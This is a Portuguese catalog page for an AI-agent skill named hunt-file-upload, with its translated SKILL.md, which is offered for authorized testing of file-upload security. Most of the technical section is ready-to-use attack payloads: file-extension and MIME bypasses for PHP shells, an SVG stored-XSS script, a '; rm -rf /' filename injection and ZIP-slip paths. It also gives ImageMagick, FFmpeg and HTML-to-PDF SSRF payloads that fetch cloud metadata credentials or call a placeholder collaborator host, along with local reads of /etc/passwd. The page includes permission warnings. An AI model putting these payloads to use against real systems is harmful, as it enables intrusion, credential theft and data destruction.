hunt-file-upload
Ajuda seu agente a encontrar falhas em uploads de arquivos. Evita que arquivos maliciosos sejam carregados em sistemas.
O que ela faz
Esta ferramenta ajuda a encontrar falhas de segurança em como os sites lidam com arquivos enviados pelos usuários. Ela testa diferentes maneiras de enganar o site para que ele aceite arquivos maliciosos.
Quando usar
- ✓Ao testar a segurança de um site.
- ✓Para verificar se um site aceita arquivos perigosos.
- ✓Para entender como um site protege contra uploads de arquivos maliciosos.
Exemplo do que pedir para a IA
“Quero testar o upload de arquivos no site example.com. Quais técnicas você pode usar?”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta tenta enviar arquivos com nomes ou tipos incomuns para ver se o site os aceita. Ela também pode tentar usar formatos de arquivo que enganam o site, como imagens que contêm código malicioso.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add sickn33/agentic-awesome-skills --skill hunt-file-uploadOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-file-upload/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
⚠️ USO AUTORIZADO APENAS Esta habilidade destina-se apenas a fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.
Porta de confirmação obrigatória Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:
- Peça ao usuário para declarar o URL, IP, conta ou recurso exato do alvo.
- Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
- Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
- Aguarde a confirmação explícita na conversa atual.
Sem essa confirmação, permaneça somente leitura e forneça apenas orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.
9. UPLOAD DE ARQUIVOS
Bypass de Content-Type
filename=shell.php, Content-Type: image/jpeg → server trusts Content-Type
filename=shell.phtml, shell.pHp, shell.php5 → extension variants
Técnicas de Bypass de Upload de Arquivos (10 técnicas)
| Ataque | Como | Prevenção |
|---|---|---|
| Bypass de extensão | shell.php.jpg, shell.pHp, shell.php5 |
Lista de permissões + extrair extensão final |
| Byte nulo | shell.php%00.jpg |
Limpar bytes nulos |
| Extensão dupla | shell.jpg.php |
Permitir apenas uma extensão |
| Spoof de MIME | Content-Type: image/jpeg com corpo .php | Validar magic bytes, não cabeçalho MIME |
| Prefixo de magic bytes | Adicionar GIF89a; ao código PHP |
Analisar arquivo inteiro, não apenas o cabeçalho |
| Poliglota | Válido como JPEG e PHP | Processar como biblioteca de imagens, rejeitar se inválido |
| SVG JavaScript | <svg onload="..."> |
Limpar SVG ou desativar completamente |
| XXE em DOCX | XML malicioso no ZIP do Office | Desativar entidades externas |
| ZIP slip | ../../../etc/passwd no arquivo |
Validar caminhos extraídos |
| Injeção de nome de arquivo | ; rm -rf / no nome do arquivo |
Limpar + usar nomes UUID |
Referência de Magic Bytes
| Tipo | Hex |
|---|---|
| JPEG | FF D8 FF |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
| GIF | 47 49 46 38 |
25 50 44 46 |
|
| ZIP/DOCX/XLSX | 50 4B 03 04 |
XSS Armazenado via SVG
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>
Exploração de ImageMagick / FFmpeg
SSRF / Leitura de Arquivo do ImageMagick (família ImageTragick + variantes modernas)
# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)
# MVG SSRF payload — fetches internal URL during processing
cat > /tmp/ssrf.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)'
pop graphic-context
EOF
# SVG SSRF (ImageMagick processes SVG remotely)
cat > /tmp/ssrf.svg << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/>
</svg>
EOF
# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)
# Upload a crafted WebP file targeting libwebp heap overflow
# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC
SSRF do FFmpeg via Playlist HLS
# FFmpeg processes m3u8 playlists and fetches referenced segments
cat > /tmp/ssrf.m3u8 << 'EOF'
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
http://169.254.169.254/latest/meta-data/iam/security-credentials/
#EXT-X-ENDLIST
EOF
# Also works with concat demuxer
cat > /tmp/concat.txt << 'EOF'
ffconcat version 1.0
file 'http://COLLAB_HOST/ffmpeg-ssrf'
EOF
# Test: upload .m3u8 or video file to any video processing endpoint
SSRF do Headless Chrome / Gerador de PDF
Ataques de Conversor HTML → PDF
# Alvo: geradores de faturas, exportadores de relatórios, serviços de captura de tela
# Injetar HTML que faz com que o headless Chrome busque recursos internos
# SSRF via importação de CSS
PAYLOAD='<html><head><style>@import url("http://169.254.169.254/latest/meta-data/");</style></head><body>test</body></html>'
# SSRF via iframe HTML
PAYLOAD='<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'
# Leitura de arquivo local
PAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'
# Execução de JavaScript (se o sandbox não for aplicado)
PAYLOAD='<html><body><script>
…
Perguntas frequentes
Por que preciso de permissão para usar esta ferramenta?
Usar esta ferramenta sem permissão pode ser ilegal e prejudicial. Ela é projetada para testes de segurança autorizados e fins educacionais.
O que é um 'bypass' de upload de arquivo?
É uma técnica para fazer o site aceitar um arquivo que ele normalmente rejeitaria, explorando falhas em suas verificações de segurança.
O que são 'magic bytes'?
São sequências de bytes no início de um arquivo que identificam seu tipo real. A ferramenta pode tentar enganar o site sobre o tipo de arquivo, mesmo que os 'magic bytes' estejam corretos.
Detalhes
Popularidade
- Estrelas no GitHub
- 48 mil
- Posição no ranking
- #3257
- Licença
- MIT
- Atualizada em
- 15/10/2026
Comentários
- …
Mais skills deste repositório
00-andruia-consultant
Ajuda seu agente a iniciar ou melhorar projetos de IA. Ele analisa código, sugere ferramentas e cria planos de ação em espanhol.
sickn33/agentic-awesome-skills
007
Faz seu agente realizar auditorias de segurança e modelagem de ameaças. É útil para proteger projetos contra ataques e vulnerabilidades.
sickn33/agentic-awesome-skills
10-andruia-skill-smith
Ajuda seu agente a criar ou melhorar ferramentas de IA. Ele define como as ferramentas funcionam, escreve a documentação e valida a estrutura.
sickn33/agentic-awesome-skills
20-andruia-niche-intelligence
Faz seu agente criar um resumo sobre um setor específico. É útil para entender o contexto, regras, padrões de uso e riscos de um projeto, usando fontes confiáveis.
sickn33/agentic-awesome-skills
Skills parecidas
django-security
Ajuda seu agente a implementar práticas de segurança em aplicações Django. Ele foca em autenticação, autorização e prevenção contra ataques comuns, garantindo um código mais seguro.
affaan-m/ECC
laravel-security
Ajuda seu agente a proteger aplicações Laravel contra ameaças. Implementa práticas de segurança para autenticação, autorização e prevenção de ataques comuns.
affaan-m/ECC
module-regression
Ajuda seu agente a gerenciar mudanças em projetos grandes. Garante que alterações em uma parte do código não quebrem outras partes.
affaan-m/ECC